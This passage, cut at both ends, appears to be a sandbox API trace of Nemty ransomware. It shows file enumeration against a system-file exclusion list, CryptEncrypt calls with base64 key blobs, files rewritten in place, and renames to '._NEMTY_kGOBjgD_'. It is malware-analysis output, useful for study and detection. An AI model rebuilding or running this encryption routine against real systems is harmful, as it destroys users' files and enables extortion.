ftLastWriteTime.dwLowDateTime=0x1e8540f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0179.319] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0179.319] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x1e8540f0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e8540f0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0179.319] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0179.319] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0179.319] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.KOR", cAlternateFileName="ACCESS~1.KOR")) returned 1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2=".") returned 1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="..") returned 1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="...") returned 1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="windows") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="rsa") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="NTDETECT.COM") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="ntldr") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="MSDOS.SYS") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="IO.SYS") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="boot.ini") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="boot.ini") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="AUTOEXEC.BAT") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="ntuser.dat") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="desktop.ini") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="CONFIG.SYS") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="RECYCLER") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="BOOTSECT.BAK") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="bootmgr") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="programdata") returned -1 [0179.319] lstrcmpiW (lpString1="accessibility.KOR", lpString2="appdata") returned -1 [0179.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0179.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.KOR", lpUsedDefaultChar=0x0) returned 17 [0179.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0179.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0179.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.KOR", lpUsedDefaultChar=0x0) returned 17 [0179.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0179.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0179.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.KOR", lpUsedDefaultChar=0x0) returned 17 [0179.320] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0179.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0179.320] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.320] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.KOR", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.KOR", lpUsedDefaultChar=0x0) returned 17 [0179.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0179.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.321] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0179.321] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.321] Sleep (dwMilliseconds=0x5) [0179.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e8a03b0, dwHighDateTime=0x1d561e8)) [0179.335] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e8a03b0, dwHighDateTime=0x1d561e8)) [0179.335] GetLastError () returned 0xb7 [0179.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.335] GetLastError () returned 0xb7 [0179.335] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0179.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.336] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.336] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.336] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.336] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="6nqVvW2+if2L2Uowlbp7c11WehP59MEN4mF6wj5PdWuYQYWJKWfrOXniuiGQBm+4\r\nGfI5ThmQUxR7MJGPMcvGfMHREr8A2qVJlIbBj+gLlDrTKMyf8eXdJlnaXtC1een2\r\nzBkxy+7PSNdm1372tGqzs7sqcCa5yiEhImctswb4T7Bq0PMyAEKTFq5wHuJ5M1o9\r\npTPSl+zsKVxCCC0YPmJDe7qNJF3v6U2yQcEyCXUx6dey8g7al687C2nGdDJf1vpc\r\nENQEyyKV9GTYCZcAIpwWzDC7z9KyWSOvGjPPu/hvxls/gIu2BAn/j1ITIAgJtBIE\r\nga66lm3WYePmf9PK/UEOCQ==\r\n", pcchString=0x653e5dc) returned 1 [0179.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\accessibility.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\accessibility.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.336] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=32256) returned 1 [0179.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7e00) returned 0x6352c48 [0179.336] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.336] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x7e00, lpOverlapped=0x0) returned 1 [0179.340] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.340] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x7e00, lpOverlapped=0x0) returned 1 [0179.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.341] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00 [0179.341] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0179.341] CloseHandle (hObject=0x2e8) returned 1 [0179.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0179.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0179.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0179.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0179.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0179.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0179.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0179.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0179.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0179.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0179.341] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\accessibility.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\accessibility.kor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\accessibility.KOR._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\accessibility.kor._nemty_kgobjgd_")) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.342] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82bf03e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x48c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.KOR", cAlternateFileName="")) returned 1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2=".") returned 1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="..") returned 1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="...") returned 1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="windows") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="$RECYCLE.BIN") returned 1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="rsa") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="NTDETECT.COM") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="ntldr") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="MSDOS.SYS") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="IO.SYS") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="boot.ini") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="boot.ini") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="AUTOEXEC.BAT") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="ntuser.dat") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="desktop.ini") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="CONFIG.SYS") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="RECYCLER") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="BOOTSECT.BAK") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="bootmgr") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="programdata") returned -1 [0179.342] lstrcmpiW (lpString1="Acroform.KOR", lpString2="appdata") returned -1 [0179.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0179.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.KOR", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.KOR", lpUsedDefaultChar=0x0) returned 12 [0179.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0179.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0179.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0179.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0179.343] Sleep (dwMilliseconds=0x5) [0179.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e8c6510, dwHighDateTime=0x1d561e8)) [0179.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e8c6510, dwHighDateTime=0x1d561e8)) [0179.351] GetLastError () returned 0x0 [0179.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0179.351] GetLastError () returned 0x0 [0179.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0179.351] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0179.351] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0179.351] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0179.351] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0179.352] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0179.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0179.352] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="Ogws+xf++W3Y5cmMQrusq0CeKIZw4TQwUwrAUesvVB0MUGT2hNMks0NYo3+8Y664\r\n3k1YenM/PF/12sEV6Nrf3mUf/pF25pu6kGTrCTvPT+0eUjJAdWQgrJ9Q86EXerx7\r\nO6qwGFIJW/eOfJQaG5NDvxMyrID5NYACAEi3UJ9GLc/6apC3r+Mn65NO7FvFbBAA\r\nH13N5ACUbyqXzIcW7FKwALg5hB195DTNyA++CF3nP5coenwX5N+liUddoAJoy9La\r\ns4WPXneUQDK9WAGEy9RXKzPz5OpH14AcBiebaE91Xkv0F/exAd4d7dSKHGj3bcMA\r\nUG/A4Xnv8GESnr9ygM1wew==\r\n", pcchString=0x653e5dc) returned 1 [0179.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0179.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0179.352] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0179.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0179.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0179.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0179.352] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ko_KR\\Acroform.KOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ko_kr\\acroform.kor"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0179.352] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=297984) returned 1 [0179.352] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0179.352] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.352] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0179.361] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0179.361] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0179.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0179.362] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=297984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x48c00 [0179.362] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, 